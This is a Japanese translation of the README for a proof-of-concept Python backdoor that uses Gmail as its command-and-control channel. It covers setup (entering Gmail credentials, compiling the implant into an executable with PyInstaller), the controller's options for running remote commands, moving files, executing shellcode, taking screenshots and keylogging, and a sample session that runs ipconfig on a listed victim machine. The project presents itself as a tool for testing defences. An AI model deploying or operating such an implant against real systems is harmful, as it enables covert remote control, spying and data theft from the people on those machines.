
GmailをC&Cサーバーとして使用するPoCバックドア
Gmailをコマンド&コントロールサーバーとして使用するステルス型のPythonベースのバックドア
このプロジェクトは、Benjamin Donnellyによる元のPoCコードに触発されたものです。
...組織がこうしたタイプの攻撃に対する防御をテストするために公開されたものです。それらを検出するには、RITAのようなプロジェクトを参照してください。
このプロジェクトのより最新でメンテナンスされたバージョンについては、GDogを参照してください。
これを機能させるには以下が必要です:
このリポジトリには2つのファイルが含まれています:
gcat.py 利用可能なクライアントを列挙してコマンドを発行するために使用されるスクリプトimplant.py 実際に展開するバックドア両方のファイルで、先ほど設定したアカウントのユーザー名とパスワードを使って、gmail_user と gmail_pwd 変数を編集してください。
implant.py はPyinstallerを使って実行可能ファイルにコンパイルしたいと思うでしょう。
注: implant.pyは32ビットのPythonインストールを使用してコンパイルすることをお勧めします
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
出力は、システムとインプラントが実行されているOSを一意に識別するUUID文字列です
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
ここでは 90b2cd83-cb36-52de-84ee-99db6ff41a11 に ipconfig /all を実行させています。スクリプトはそのコマンドの出力を取得するために使用できる jobid を出力します。
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --